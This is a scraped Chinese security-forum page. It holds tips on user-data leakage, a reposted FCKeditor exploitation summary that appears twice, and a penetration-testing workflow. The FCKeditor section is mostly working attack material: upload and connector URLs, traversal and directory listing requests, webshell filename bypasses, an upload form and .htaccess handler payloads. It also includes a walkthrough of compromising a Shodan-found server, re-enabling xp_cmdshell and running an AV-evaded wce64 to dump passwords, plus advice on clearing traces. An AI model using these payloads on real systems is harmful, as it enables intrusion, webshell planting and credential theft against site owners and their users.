
在很多金融平台当中,在修改昵称那里或者查看个人信息那里,提交时抓包,修改其用户值为存在用户的任意值,那么就可能造成查看任意用户信息的问题。

如果你进入了一些内部员工平台,那么如果具有搜索功能,就比如你输入了员工工号然后它会返回这个员工的所有在职信息,那么此时你可以通过抓包批量进行提交员工工号,就可造成大范围的信息泄露。

随便买一个东西生成订单,如果此时权限控制不当,就可以越权查看到任意用户的订单,那么信息也自认而然的泄露出来了。

关于这方面,我找到了相关例子:

http://wooyun.jozxing.cc/static/bugs/wooyun-2014-083157.html
 
②:任意重置

如果权限控制不当,可导致任意用户密码修改的话,那么登录后就可查看该用户的任意信息,这也就导致了用户信息泄露。
 
③:任意修改

在下单的时候修改其用户ID为任意存在用户的ID,然后下单,然后查看刚刚下单的信息,就可看到该用户的收货地址信息,只要对方设置了收货地址。



 


0x03 接口方面的用户信息泄露


很多业务网站在上线的时候都忘记把测试时的接口进行关闭,从而导致这个接口可以查询大量用户信息。那么此类接口怎么找呢?

其中之一的方法通过Github.com网站进行搜索相关域名进行查找。
关于这类问题,我找到了相关例子:
http://wooyun.jozxing.cc/static/bugs/wooyun-2015-0116563.html
 


0x04 注入方面的用户信息泄露


注入可以说是非常非常的严重,因为注入往往都能得到很多信息,如果没做好相关过滤以及防护,就可导致注入,从而数据库内的各种数据面对裸露的危险。
 


0x05  服务器路径信息泄露


①:上传图片处

在上传图片处,这里我说下最可能存在问题的点,就是关于上传相关证明,进行实名制上传信息等功能页面,在上传图片时进行抓包,然后查看返回包,那么就可看到当前服务器的绝对路径信息。
②:XML处

一些XML限制或删除不完全,可导致服务器等信息泄露。

详细例子:http://wooyun.jozxing.cc/static/bugs/wooyun-2015-0123762.html
③:第三方的服务当中

很多,如:Apache Tomcat、Struts2、CMS、zabbix、Nginx等等,例如Nginx的某版本解析漏洞,就可造成路径信息泄露。

关于这方面我找到了相关例子:

http://wooyun.jozxing.cc/static/bugs/wooyun-2013-019253.html

http://wooyun.jozxing.cc/static/bugs/wooyun-2012-04655.html

④:利用报错问题

在处理报错信息的问题上如果处理不当,就可导致路径信息泄露,比如访问一些不存在的文件等思路。

这里我找到了相关例子:

http://wooyun.jozxing.cc/static/bugs/wooyun-2012-010115.html

http://wooyun.jozxing.cc/static/bugs/wooyun-2011-02219.html

http://wooyun.jozxing.cc/static/bugs/wooyun-2012-09901.html

以上就是关于服务器路径信息泄露问题!

  


0x06  员工信息泄露


①:各第三方平台当中

Github,很不错的开源社区平台。一些员工喜欢将自己的信息上传到这平台上,但是往往忽视了安全,有时这上传的代码当中就可能包含很多内部测试员工的账户以及密码信息等。

关于这方面我找到了相关例子:

http://wooyun.jozxing.cc/static/bugs/wooyun-2016-0177720.html

http://wooyun.jozxing.cc/static/bugs/wooyun-2015-0164337.html


在搜索QQ群那里,通过搜索企业昵称,往往都可以搜索出来关于企业员工或企业方面的信息,一般都会贴在公告当中,比如某某测试账户等。

当然,你也可以申请加入群进行查看群文件,看是否有铭感的信息。

这里我找到了相关例子:

http://wooyun.jozxing.cc/static/bugs/wooyun-2015-0128511.html

http://wooyun.jozxing.cc/static/bugs/wooyun-2015-093927.html

http://wooyun.jozxing.cc/static/bugs/wooyun-2016-0208105.html


百度贴吧当中,一般都有公司员工创建的贴吧,如果安全意思不足,那么就会泄露相关员工工号,可用作暴力破解的字典。



②:弱密码问题

在一些涉及内部员工方面的系统,如果员工密码为弱密码,那么就可通过暴力破解方式进行尝试登录,如果成功爆破到了员工账户,那么一般只要是内部员工系统该账户都可以登录,那么所造成的影响也是很大的。

以上就是关于员工信息泄露的问题!
 


0x07  数据库信息以及服务器信息泄露


①:各第三方平台当中

Github,一些员工如果安全意识不足,同样上传的代码当中就包含了数据库连接信息以及服务器信息。

关于这类问题,我找到了相关例子:
http://wooyun.jozxing.cc/static/bugs/wooyun-2016-0180848.html


利用搜索QQ群的思路,如果员工的安全意识不足,那么数据库连接信息以及服务器信息就会在公告或群文件当中
②:XML处

同样在XML文件当中,也可能会发现数据库连接信息以及服务器信息。
③:svn处

svn是一个开放源代码的版本控制系统,如果没有加以限制或者删除,那么就可以游览相关的比较隐蔽性的源码。

关于这类的问题,我找到了相关例子:
http://wooyun.jozxing.cc/static/bugs/wooyun-2016-0199607.html

http://wooyun.jozxing.cc/static/bugs/wooyun-2016-0191202.html
④:数据库文件

一些数据库相关文件如果删除不当或者摆放位置不当,那么极有可能被下载下来,造成危害。

关于这方面,我找到了相关例子:
http://wooyun.jozxing.cc/static/bugs/wooyun-2015-0158556.html
⑤:其它文件

比如其它类型的文件,如Txt、Doc、Excel等文件,如果包含铭感信息,那么危害也是显而易见的。

以上就是关于数据库信息以及服务器信息泄露的问题!

Fckeditor漏洞总结(转)

Web安全渗透fireant 发表了文章 • 1 个评论 • 184 次浏览 • 2019-03-18 16:45 • 来自相关话题

Fckeditor漏洞总结(转)
最近进行漏洞挖掘时遇到不少Fckeditor编辑器,找到一篇总结文章
1.1Fckeditor漏洞总结
   有些漏洞看起来简单,级别比较低,不如SQL注入等漏洞来的直接,但在条件合适的情况下,小漏洞发挥大作用,一直以来都想做一个Fckeditor漏洞总结,免得每次遇到目标都需要重新搜索,浪费时间。
 
1.1.1FCKeditor编辑器漏洞利用总结
 
1.判断fckeditor版本
通过/fckeditor/editor/dialog/fck_about.html和/FCKeditor/_whatsnew.html页面文件中的版本号来确定。例如访问http://***.1**.***.***:8081/fckeditor/_whatsnew.html,获知其版本号为2.4.3。
 
2.常见的测试上传地址
  Fckeditor编辑器默认会存在test.html和uploadtest.html文件,直接访问这些文件可以获取当前文件夹文件名称以及上传文件,有的版本可以直接上传任意文件类型,测试上传地址有:(1)FCKeditor/editor/filemanager/browser/default/connectors/test.html

(2)FCKeditor/editor/filemanager/upload/test.html

(3)FCKeditor/editor/filemanager/connectors/test.html

(4)FCKeditor/editor/filemanager/connectors/uploadtest.html


 3.示例上传地址FCKeditor/_samples/default.html

FCKeditor/_samples/asp/sample01.asp

FCKeditor/_samples/asp/sample02.asp

FCKeditor/_samples/asp/sample03.asp

FCKeditor/_samples/asp/sample04.asp

FCKeditor/_samples/default.html

FCKeditor/editor/fckeditor.htm

FCKeditor/editor/fckdialog.html
 4.常见的上传地址
(1)connector.aspx文件FCKeditor/editor/filemanager/browser/default/connectors/asp/connector.asp?Command=GetFoldersAndFiles&Type=Image&CurrentFolder=/ 
FCKeditor/editor/filemanager/browser/default/connectors/php/connector.php?Command=GetFoldersAndFiles&Type=Image&CurrentFolder=/
FCKeditor/editor/filemanager/browser/default/connectors/aspx/connector.aspx?Command=GetFoldersAndFiles&Type=Image&CurrentFolder=/
FCKeditor/editor/filemanager/browser/default/connectors/jsp/connector.jsp?Command=GetFoldersAndFiles&Type=Image&CurrentFolder=/
FCKeditor/editor/filemanager/browser/default/browser.html?Type=Image&Connector=http://www.site.com/fckeditor/editor/filemanager/connectors/php/connector.php
FCKeditor/editor/filemanager/browser/default/browser.html?Type=Image&Connector=http://www.site.com/fckeditor/editor/filemanager/connectors/asp/connector.asp
FCKeditor/editor/filemanager/browser/default/browser.html?Type=Image&Connector=http://www.site.com/fckeditor/editor/filemanager/connectors/aspx/connector.aspx
FCKeditor/editor/filemanager/browser/default/browser.html?Type=Image&Connector=http://www.site.com/fckeditor/editor/filemanager/connectors/jsp/connector.jsp 
(2)browser.html文件FCKeditor/editor/filemanager/browser/default/browser.html?type=Image&connector=connectors/asp/connector.asp
FCKeditor/editor/filemanager/browser/default/browser.html?Type=Image&Connector=connectors/jsp/connector.jsp
fckeditor/editor/filemanager/browser/default/browser.html?Type=Image&Connector=connectors/aspx/connector.Aspx
fckeditor/editor/filemanager/browser/default/browser.html?Type=Image&Connector=connectors/php/connector.php 
 
5. Windows 2003+IIS6文件解析路径漏洞
   通过Fckeditor编辑器在文件上传页面中,创建诸如1.asp文件夹,然后再到该文件夹下上传一个图片的webshell文件,获取其shell。其shell地址为: http://www.somesite.com/images/upload/201806/image/1.asp/1.jpg  
6.iis6突破文件夹限制Fckeditor/editor/filemanager/connectors/asp/connector.asp?Command=CreateFolder&Type=File&CurrentFolder=/shell.asp&NewFolderName=z.asp
FCKeditor/editor/filemanager/connectors/asp/connector.asp?Command=CreateFolder&Type=Image&CurrentFolder=/shell.asp&NewFolderName=z&uuid=1244789975684
FCKeditor/editor/filemanager/browser/default/connectors/asp/connector.asp?Command=CreateFolder&CurrentFolder=/&Type=Image&NewFolderName=shell.asp 
 
7.突破文件名限制
(1)二次重复上传文件突破“.”变成“-”限制
新版FCK上传shell.asp;.jpg变shell_asp;.jpg,然后继续上传同名文件可变为shell.asp;(1).jpg
(2)提交shell.php+空格绕过
空格只支持windows系统,linux系统是不支持的,可提交shell.php+空格来绕过文件名限制。
 
8.列目录
(1)FCKeditor/editor/fckeditor.html 不可以上传文件,可以点击上传图片按钮再选择浏览服务器即可跳转至可上传文件页,可以查看已经上传的文件。
(2)根据xml返回信息查看网站目录http://***.1**.***.***:8081/fckeditor/editor/filemanager/browser/default/connectors/aspx/connector.aspx?Command=CreateFolder&Type=Image&CurrentFolder=../../../&NewFolderName=shell.asp 
(3)获取当前文件夹FCKeditor/editor/filemanager/browser/default/connectors/aspx/connector.aspx?Command=GetFoldersAndFiles&Type=Image&CurrentFolder=/
FCKeditor/editor/filemanager/browser/default/connectors/php/connector.php?Command=GetFoldersAndFiles&Type=Image&CurrentFolder=/
FCKeditor/editor/filemanager/browser/default/connectors/asp/connector.asp?Command=GetFoldersAndFiles&Type=Image&CurrentFolder=/ 
(4)浏览E盘文件/FCKeditor/editor/filemanager/browser/default/connectors/aspx/connector.aspx?Command=GetFoldersAndFiles&Type=Image&CurrentFolder=e:/ 
(5)JSP 版本FCKeditor/editor/filemanager/browser/default/connectors/jsp/connector?Command=GetFoldersAndFiles&Type=&CurrentFolder=/ 
9.修改Media 类型进行上传
FCKeditor 2.4.2  For php以下版本在处理PHP上传的地方并未对Media 类型进行上传文件类型的控制,导致用户上传任意文件!将以下保存为html文件,修改action地址为实际地址:<form id="frmUpload" enctype="multipart/form-data"
action="http://www.site.com/FCKeditor/editor/filemanager/upload/php/upload.php?Type=Media" method="post">Upload a new file:<br>
<input type="file" name="NewFile" size="50"><br>
<input id="btnUpload" type="submit" value="Upload">
</form> 
 
10.htaccess文件突破
htaccess文件是Apache服务器中的一个配置文件,它负责相关目录下的网页配置.通过htaccess文件,可以实现:网页301重定向、自定义404页面、改变文件扩展名、允许/阻止特定的用户或者目录的访问、禁止目录列表、配置默认文档等功能。
(1).htaccess文件内容AppType  application/x-httpd-php  .jpg 
另外一种方法也可以,其内容为: <FilesMatch "cimer">
SetHandler application/x-httpd-php
</FilesMatch> 
上传带cimer后缀的webshell文件,访问地址即可得到webshell
(2)上传.htaccess文件
(3)上传图片木马
(4)借助该漏洞,可以实现webshell的访问
 
1.1.2搜索FCKeditor目标
 
1.在shodan.io网站搜索FCKeditor关键字
   在shodan.io网站搜索FCKeditor关键字https://www.shodan.io/search?query=”FCKeditor”对关键字进行查询,不同的关键字其出来的效果不一样。 
 
2.逐个查看目标记录信息
   对shodan.io网站搜索的24条记录进行逐个查看,也即单击shodan搜索记录中的Details链接,即可查看目标的详细信息,如图3所示,建议新建窗口打开该链接地址,在该IP地址信息中包含国家、城市、组织、ISP和端口等信息。
 
1.1.3漏洞利用及分析
 
1.根据端口访问服务器
   单击shodan中搜索出来的服务信息中的绿色转向箭头即可直接访问目标服务器。
 
 
2.对网站目录进行逐个查看获取Fckedit漏洞利用页面
   通过对该网站fckeditor 编辑器所在文件夹进行逐层访问,获取其上传测试页面地址:http://***.1**.***.***:8081/fckeditor/editor/filemanager/upload/test.html
 
3.查看和验证上传文件
    如图6所示,到该网站/UserFiles/目录,可以看到上传的2014.aspx及cmd.php文件。
 
 
4.获取webshell及数据库密码
单击/UserFiles/目录中的2014.aspx文件,直接获取webshell。
 
 
5.服务器提权并获取服务器密码
(1)获取服务器架构
(2)连接数据库恢复xp_cmdshell
    在webshell中单击DataBase进行数据库管理,选择mssql,然后输入sa账号对应的密码,进行连接,连接成功后,在SQLExec中选择Add xp_cmdshell。
(3)获取当前数据库管理员密码明文
将wce64.exe进行免杀处理,然后上传到服务器上,通过xp_cmdshell执行命令:
Exec master.dbo.xp_cmdshell 'E:\dlty\UserFiles\wce64 -w'
 
 1.1.4渗透总结及分析
1. sqlserver 2000直接提权。在本例中还可以通过sqlmap进行mssql数据库直连进行提权以及执行命令等操作,由于本案例中的数据库是sqlserver 2000,sa账号可以直接提权到服务器权限。
2.Fckeditor中的test.html文件可以直接上传任意文件类型
3.可以通过Fckeditor还可以浏览目录。这个在渗透中特别有用,可以用来查看网站的目录结构,运气好,可以查看xml配置文件,以及下载源代码文件等。
4.在本案例中的目录信息危害太大。可以对所有文件及目录进行查看,即使未获取编辑器漏洞,也可以通过源代码文件获取数据库密码。 查看全部
Fckeditor漏洞总结(转)
最近进行漏洞挖掘时遇到不少Fckeditor编辑器,找到一篇总结文章
1.1Fckeditor漏洞总结
   有些漏洞看起来简单,级别比较低,不如SQL注入等漏洞来的直接,但在条件合适的情况下,小漏洞发挥大作用,一直以来都想做一个Fckeditor漏洞总结,免得每次遇到目标都需要重新搜索,浪费时间。
 
1.1.1FCKeditor编辑器漏洞利用总结
 
1.判断fckeditor版本
通过/fckeditor/editor/dialog/fck_about.html和/FCKeditor/_whatsnew.html页面文件中的版本号来确定。例如访问http://***.1**.***.***:8081/fckeditor/_whatsnew.html,获知其版本号为2.4.3。
 
2.常见的测试上传地址
  Fckeditor编辑器默认会存在test.html和uploadtest.html文件,直接访问这些文件可以获取当前文件夹文件名称以及上传文件,有的版本可以直接上传任意文件类型,测试上传地址有:
(1)FCKeditor/editor/filemanager/browser/default/connectors/test.html

(2)FCKeditor/editor/filemanager/upload/test.html

(3)FCKeditor/editor/filemanager/connectors/test.html

(4)FCKeditor/editor/filemanager/connectors/uploadtest.html


 3.示例上传地址
FCKeditor/_samples/default.html

FCKeditor/_samples/asp/sample01.asp

FCKeditor/_samples/asp/sample02.asp

FCKeditor/_samples/asp/sample03.asp

FCKeditor/_samples/asp/sample04.asp

FCKeditor/_samples/default.html

FCKeditor/editor/fckeditor.htm

FCKeditor/editor/fckdialog.html

 4.常见的上传地址
(1)connector.aspx文件
FCKeditor/editor/filemanager/browser/default/connectors/asp/connector.asp?Command=GetFoldersAndFiles&Type=Image&CurrentFolder=/ 
FCKeditor/editor/filemanager/browser/default/connectors/php/connector.php?Command=GetFoldersAndFiles&Type=Image&CurrentFolder=/
FCKeditor/editor/filemanager/browser/default/connectors/aspx/connector.aspx?Command=GetFoldersAndFiles&Type=Image&CurrentFolder=/
FCKeditor/editor/filemanager/browser/default/connectors/jsp/connector.jsp?Command=GetFoldersAndFiles&Type=Image&CurrentFolder=/
FCKeditor/editor/filemanager/browser/default/browser.html?Type=Image&Connector=http://www.site.com/fckeditor/editor/filemanager/connectors/php/connector.php
FCKeditor/editor/filemanager/browser/default/browser.html?Type=Image&Connector=http://www.site.com/fckeditor/editor/filemanager/connectors/asp/connector.asp
FCKeditor/editor/filemanager/browser/default/browser.html?Type=Image&Connector=http://www.site.com/fckeditor/editor/filemanager/connectors/aspx/connector.aspx
FCKeditor/editor/filemanager/browser/default/browser.html?Type=Image&Connector=http://www.site.com/fckeditor/editor/filemanager/connectors/jsp/connector.jsp
 
(2)browser.html文件
FCKeditor/editor/filemanager/browser/default/browser.html?type=Image&connector=connectors/asp/connector.asp
FCKeditor/editor/filemanager/browser/default/browser.html?Type=Image&Connector=connectors/jsp/connector.jsp
fckeditor/editor/filemanager/browser/default/browser.html?Type=Image&Connector=connectors/aspx/connector.Aspx
fckeditor/editor/filemanager/browser/default/browser.html?Type=Image&Connector=connectors/php/connector.php
 
 
5. Windows 2003+IIS6文件解析路径漏洞
   通过Fckeditor编辑器在文件上传页面中,创建诸如1.asp文件夹,然后再到该文件夹下上传一个图片的webshell文件,获取其shell。其shell地址为: 
http://www.somesite.com/images/upload/201806/image/1.asp/1.jpg 
 
6.iis6突破文件夹限制
Fckeditor/editor/filemanager/connectors/asp/connector.asp?Command=CreateFolder&Type=File&CurrentFolder=/shell.asp&NewFolderName=z.asp
FCKeditor/editor/filemanager/connectors/asp/connector.asp?Command=CreateFolder&Type=Image&CurrentFolder=/shell.asp&NewFolderName=z&uuid=1244789975684
FCKeditor/editor/filemanager/browser/default/connectors/asp/connector.asp?Command=CreateFolder&CurrentFolder=/&Type=Image&NewFolderName=shell.asp
 
 
7.突破文件名限制
(1)二次重复上传文件突破“.”变成“-”限制
新版FCK上传shell.asp;.jpg变shell_asp;.jpg,然后继续上传同名文件可变为shell.asp;(1).jpg
(2)提交shell.php+空格绕过
空格只支持windows系统,linux系统是不支持的,可提交shell.php+空格来绕过文件名限制。
 
8.列目录
(1)FCKeditor/editor/fckeditor.html 不可以上传文件,可以点击上传图片按钮再选择浏览服务器即可跳转至可上传文件页,可以查看已经上传的文件。
(2)根据xml返回信息查看网站目录
http://***.1**.***.***:8081/fckeditor/editor/filemanager/browser/default/connectors/aspx/connector.aspx?Command=CreateFolder&Type=Image&CurrentFolder=../../../&NewFolderName=shell.asp
 
(3)获取当前文件夹
FCKeditor/editor/filemanager/browser/default/connectors/aspx/connector.aspx?Command=GetFoldersAndFiles&Type=Image&CurrentFolder=/
FCKeditor/editor/filemanager/browser/default/connectors/php/connector.php?Command=GetFoldersAndFiles&Type=Image&CurrentFolder=/
FCKeditor/editor/filemanager/browser/default/connectors/asp/connector.asp?Command=GetFoldersAndFiles&Type=Image&CurrentFolder=/
 
(4)浏览E盘文件
/FCKeditor/editor/filemanager/browser/default/connectors/aspx/connector.aspx?Command=GetFoldersAndFiles&Type=Image&CurrentFolder=e:/
 
(5)JSP 版本
FCKeditor/editor/filemanager/browser/default/connectors/jsp/connector?Command=GetFoldersAndFiles&Type=&CurrentFolder=/
 
9.修改Media 类型进行上传
FCKeditor 2.4.2  For php以下版本在处理PHP上传的地方并未对Media 类型进行上传文件类型的控制,导致用户上传任意文件!将以下保存为html文件,修改action地址为实际地址:
<form id="frmUpload" enctype="multipart/form-data"
action="http://www.site.com/FCKeditor/editor/filemanager/upload/php/upload.php?Type=Media" method="post">Upload a new file:<br>
<input type="file" name="NewFile" size="50"><br>
<input id="btnUpload" type="submit" value="Upload">
</form>
 
 
10.htaccess文件突破
htaccess文件是Apache服务器中的一个配置文件,它负责相关目录下的网页配置.通过htaccess文件,可以实现:网页301重定向、自定义404页面、改变文件扩展名、允许/阻止特定的用户或者目录的访问、禁止目录列表、配置默认文档等功能。
(1).htaccess文件内容
AppType  application/x-httpd-php  .jpg
 
另外一种方法也可以,其内容为: 
<FilesMatch "cimer">
SetHandler application/x-httpd-php
</FilesMatch>
 
上传带cimer后缀的webshell文件,访问地址即可得到webshell
(2)上传.htaccess文件
(3)上传图片木马
(4)借助该漏洞,可以实现webshell的访问
 
1.1.2搜索FCKeditor目标
 
1.在shodan.io网站搜索FCKeditor关键字
   在shodan.io网站搜索FCKeditor关键字
https://www.shodan.io/search?query=”FCKeditor”对关键字进行查询,不同的关键字其出来的效果不一样。
 
 
2.逐个查看目标记录信息
   对shodan.io网站搜索的24条记录进行逐个查看,也即单击shodan搜索记录中的Details链接,即可查看目标的详细信息,如图3所示,建议新建窗口打开该链接地址,在该IP地址信息中包含国家、城市、组织、ISP和端口等信息。
 
1.1.3漏洞利用及分析
 
1.根据端口访问服务器
   单击shodan中搜索出来的服务信息中的绿色转向箭头即可直接访问目标服务器。
 
 
2.对网站目录进行逐个查看获取Fckedit漏洞利用页面
   通过对该网站fckeditor 编辑器所在文件夹进行逐层访问,获取其上传测试页面地址:
http://***.1**.***.***:8081/fckeditor/editor/filemanager/upload/test.html

 
3.查看和验证上传文件
    如图6所示,到该网站/UserFiles/目录,可以看到上传的2014.aspx及cmd.php文件。
 
 
4.获取webshell及数据库密码
单击/UserFiles/目录中的2014.aspx文件,直接获取webshell。
 
 
5.服务器提权并获取服务器密码
(1)获取服务器架构
(2)连接数据库恢复xp_cmdshell
    在webshell中单击DataBase进行数据库管理,选择mssql,然后输入sa账号对应的密码,进行连接,连接成功后,在SQLExec中选择Add xp_cmdshell。
(3)获取当前数据库管理员密码明文
将wce64.exe进行免杀处理,然后上传到服务器上,通过xp_cmdshell执行命令:
Exec master.dbo.xp_cmdshell 'E:\dlty\UserFiles\wce64 -w'
 
 1.1.4渗透总结及分析
1. sqlserver 2000直接提权。在本例中还可以通过sqlmap进行mssql数据库直连进行提权以及执行命令等操作,由于本案例中的数据库是sqlserver 2000,sa账号可以直接提权到服务器权限。
2.Fckeditor中的test.html文件可以直接上传任意文件类型
3.可以通过Fckeditor还可以浏览目录。这个在渗透中特别有用,可以用来查看网站的目录结构,运气好,可以查看xml配置文件,以及下载源代码文件等。
4.在本案例中的目录信息危害太大。可以对所有文件及目录进行查看,即使未获取编辑器漏洞,也可以通过源代码文件获取数据库密码。

一次完整的渗透测试流程

jizi_smile 发表了文章 • 0 个评论 • 124 次浏览 • 2019-03-17 19:02 • 来自相关话题

转自:https://blog.csdn.net/qq_36119192/article/details/84674109 





渗透测试

渗透测试就是利用我们所掌握的渗透知识,对一个网站进行一步一步的渗透,发现其中存在的漏洞和隐藏的风险,然后撰写一篇测试报告,提供给我们的客户。客户根据我们撰写的测试报告,对网站进行漏洞修补,以防止黑客的入侵!渗透测试的前提是我们得经过用户的授权,才可以对网站进行渗透。如果我们没有经过客户的授权而对一个网站进行渗透测试的话,这是违法的。去年的6.1日我国颁布了《网络安全法》,对网络犯罪有了法律约束。 
渗透测试分为 白盒测试 和 黑盒测试
白盒测试就是在知道目标网站源码和其他一些信息的情况下对其进行渗透,有点类似于代码分析黑盒测试就是只告诉我们这个网站的url,其他什么都不告诉,然后让你去渗透,模拟黑客对网站的渗透我们现在就模拟黑客对一个网站进行渗透测试,这属于黑盒测试,我们只知道该网站的URL,其他什么的信息都不知道。接下来,我就给大家分享下黑盒渗透测试的流程和思路!当我们确定好了一个目标进行渗透之后,第一步该做的是什么呢?   信息收集  第一步做的就是信息收集,正所谓知己知彼百战百胜,我们根据网站URL可以查出一系列关于该网站的信息。通过URL我们可以查到该网站的IP、该网站操作系统、脚本语言、在该服务器上是否还有其他网站等等一些列的信息。更多的关于信息收集,我在另一篇文章中很详细的介绍了信息收集需要收集哪些信息,以及信息收集过程中需要用到的工具,传送门——>https://blog.csdn.net/qq_36119192/article/details/84027438   漏洞探测 当我们收集到了足够多的信息之后,我们就要开始对网站进行漏洞探测了。探测网站是否存在一些常见的Web漏洞,比如:SQL注入    , 传送门——>https://blog.csdn.net/qq_36119192/article/details/81987834 XSS跨站脚本  ,传送门—>https://blog.csdn.net/qq_36119192/article/details/82469035CSRF跨站请求伪造  ,  传送门->https://blog.csdn.net/qq_36119192/article/details/82820115 XXE漏洞,传送门——>https://blog.csdn.net/qq_36119192/article/details/84993356 SSRF服务端请求伪造漏洞,传送门->https://blog.csdn.net/qq_36119192/article/details/84980510文件包含漏洞  ,  传送门—>https://blog.csdn.net/qq_36119192/article/details/82823685文件上传漏洞 , 传送门——>https://blog.csdn.net/qq_36119192/article/details/82848056 文件解析漏洞,传送门——>https://blog.csdn.net/qq_36119192/article/details/82834063 远程代码执行漏洞 , 传送门—>https://blog.csdn.net/qq_36119192/article/details/84848441CORS跨域资源共享漏洞,传送门——>https://blog.csdn.net/qq_36119192/article/details/86511786越权访问漏洞,传送门——>https://blog.csdn.net/qq_36119192/article/details/86540786目录浏览漏洞和任意文件读取/下载漏洞,传送门——https://blog.csdn.net/qq_36119192/article/details/86496362 struts2漏洞,传送门——>https://blog.csdn.net/qq_36119192/article/details/87273304 JAVA反序列化漏洞,传送门——>https://blog.csdn.net/qq_36119192/article/details/84504405这些是网站经常发现的一些漏洞,还有一些网站漏洞,这里我就不一一列举出来了。网站漏洞扫描工具也有很多,比如:AWVS  ,传送门——>https://blog.csdn.net/qq_36119192/article/details/83187475 AppScan ,传送门—>https://blog.csdn.net/qq_36119192/article/details/83042173 Owasp-Zap ,传送门—>https://blog.csdn.net/qq_36119192/article/details/84109721 Nessus ,传送门——>https://blog.csdn.net/qq_36119192/article/details/82852117 网站漏洞扫描工具我就列举这几种,还有很多,最常用的是这几个!  漏洞利用 当我们探测到了该网站存在漏洞之后,我们就要对该漏洞进行利用了。不同的漏洞有不同的利用工具,很多时候,通过一个漏洞我们很难拿到网站的webshell,我们往往需要结合几个漏洞来拿webshell。常用的漏洞利用工具如下:SQL注入 , 传送门——>https://blog.csdn.net/qq_36119192/article/details/84479207 XSS跨站脚本,传送门——>https://blog.csdn.net/qq_36119192/article/details/82731839 抓包改包工具,——>https://blog.csdn.net/qq_36119192/article/details/84310858 文件上传漏洞,上传漏洞的话,我们一般会上传一句话木马上去,进而再获得webshell,传送门——>https://blog.csdn.net/qq_36119192/article/details/84563791 但是,获得了webshell后,一般权限很低,所以我们需要提权https://blog.csdn.net/qq_36119192/article/details/84887874 内网转发

当我们获取到了网站的Webshell之后,如果我们还想进一步的探测内网主机的信息的话,我们就需要进行内网转发了。我们是不能直接和内网的主机通信的,所以我们就需要借助获取到的webshell网站的服务器和内网主机进行通信。那么,我们怎么借助网站的服务器和内网通信呢,传送门——>https://blog.csdn.net/qq_36119192/article/details/84568266

内网渗透

当我们能跟内网主机进行通信后,我们就要开始进行内网渗透了。可以先使用nmap对内网主机进行扫描,探测在线的主机,并且探测其使用的操作系统、开放的端口等信息,传送门——>https://blog.csdn.net/qq_36119192/article/details/82079150
内网用户基本都是使用的windows系统,而且大多数是使用的windows7,在windows7中有很多漏洞,比如MS17_010这种漏洞,我们可以探测其windows系统是否存在这种漏洞,如果有这种漏洞,直接拿shell。传送门——>https://blog.csdn.net/qq_36119192/article/details/83215257 
企业内网大多数是一个域环境。所以,我们只需要找到域控服务器,并拿下其权限,就可以登录其他所有用户的主机了。
当然,内网中也有可能存在供内网使用的内网服务器,我们可以进一步渗透拿下其权限。
至于怎么拿下内网中机器的权限,这要看内网环境了。我这里只是说下大概的一个思路。

痕迹清除

当我们达到了目的之后,有时候只是为了黑入网站挂黑页,炫耀一下;或者在网站留下一个后门,作为肉鸡,没事的时候上去溜达溜达;亦或者挂入挖矿木马;但是大家千万不要干这些事,这些都是违法的!
我这里只是教大家在渗透进去之后如何清除我们留下的痕迹,以免被网站管理员发现,

撰写渗透测试报告

在完成了渗透测试之后,我们就需要对这次渗透测试撰写渗透测试报告了。明确的写出哪里存在漏洞,以及漏洞修补的方法。以便于网站管理员根据我们的渗透测试报告修补这些漏洞和风险,防止被黑客攻击!
我们做的这一切的一切都是为了营造一个更安全更可信任的网络环境,大家切记不要利用本篇文章进行违法犯罪行为!
未完待续。。。。。。 查看全部
转自:https://blog.csdn.net/qq_36119192/article/details/84674109 
20181201221817863.png


渗透测试


渗透测试就是利用我们所掌握的渗透知识,对一个网站进行一步一步的渗透,发现其中存在的漏洞和隐藏的风险,然后撰写一篇测试报告,提供给我们的客户。客户根据我们撰写的测试报告,对网站进行漏洞修补,以防止黑客的入侵!渗透测试的前提是我们得经过用户的授权,才可以对网站进行渗透。如果我们没有经过客户的授权而对一个网站进行渗透测试的话,这是违法的。去年的6.1日我国颁布了《网络安全法》,对网络犯罪有了法律约束。 
渗透测试分为 白盒测试黑盒测试
  • 白盒测试就是在知道目标网站源码和其他一些信息的情况下对其进行渗透,有点类似于代码分析
  • 黑盒测试就是只告诉我们这个网站的url,其他什么都不告诉,然后让你去渗透,模拟黑客对网站的渗透
我们现在就模拟黑客对一个网站进行渗透测试,这属于黑盒测试,我们只知道该网站的URL,其他什么的信息都不知道。接下来,我就给大家分享下黑盒渗透测试的流程和思路!当我们确定好了一个目标进行渗透之后,第一步该做的是什么呢?  

 信息收集

  第一步做的就是信息收集,正所谓知己知彼百战百胜,我们根据网站URL可以查出一系列关于该网站的信息。通过URL我们可以查到该网站的IP、该网站操作系统、脚本语言、在该服务器上是否还有其他网站等等一些列的信息。更多的关于信息收集,我在另一篇文章中很详细的介绍了信息收集需要收集哪些信息,以及信息收集过程中需要用到的工具,传送门——>https://blog.csdn.net/qq_36119192/article/details/84027438   

漏洞探测

 当我们收集到了足够多的信息之后,我们就要开始对网站进行漏洞探测了。探测网站是否存在一些常见的Web漏洞,比如:这些是网站经常发现的一些漏洞,还有一些网站漏洞,这里我就不一一列举出来了。网站漏洞扫描工具也有很多,比如:网站漏洞扫描工具我就列举这几种,还有很多,最常用的是这几个! 

 漏洞利用

 当我们探测到了该网站存在漏洞之后,我们就要对该漏洞进行利用了。不同的漏洞有不同的利用工具,很多时候,通过一个漏洞我们很难拿到网站的webshell,我们往往需要结合几个漏洞来拿webshell。常用的漏洞利用工具如下:

内网转发



    当我们获取到了网站的Webshell之后,如果我们还想进一步的探测内网主机的信息的话,我们就需要进行内网转发了。我们是不能直接和内网的主机通信的,所以我们就需要借助获取到的webshell网站的服务器和内网主机进行通信。那么,我们怎么借助网站的服务器和内网通信呢,传送门——>https://blog.csdn.net/qq_36119192/article/details/84568266


    内网渗透


    当我们能跟内网主机进行通信后,我们就要开始进行内网渗透了。可以先使用nmap对内网主机进行扫描,探测在线的主机,并且探测其使用的操作系统、开放的端口等信息,传送门——>https://blog.csdn.net/qq_36119192/article/details/82079150
    内网用户基本都是使用的windows系统,而且大多数是使用的windows7,在windows7中有很多漏洞,比如MS17_010这种漏洞,我们可以探测其windows系统是否存在这种漏洞,如果有这种漏洞,直接拿shell。传送门——>https://blog.csdn.net/qq_36119192/article/details/83215257 
    企业内网大多数是一个域环境。所以,我们只需要找到域控服务器,并拿下其权限,就可以登录其他所有用户的主机了。
    当然,内网中也有可能存在供内网使用的内网服务器,我们可以进一步渗透拿下其权限。
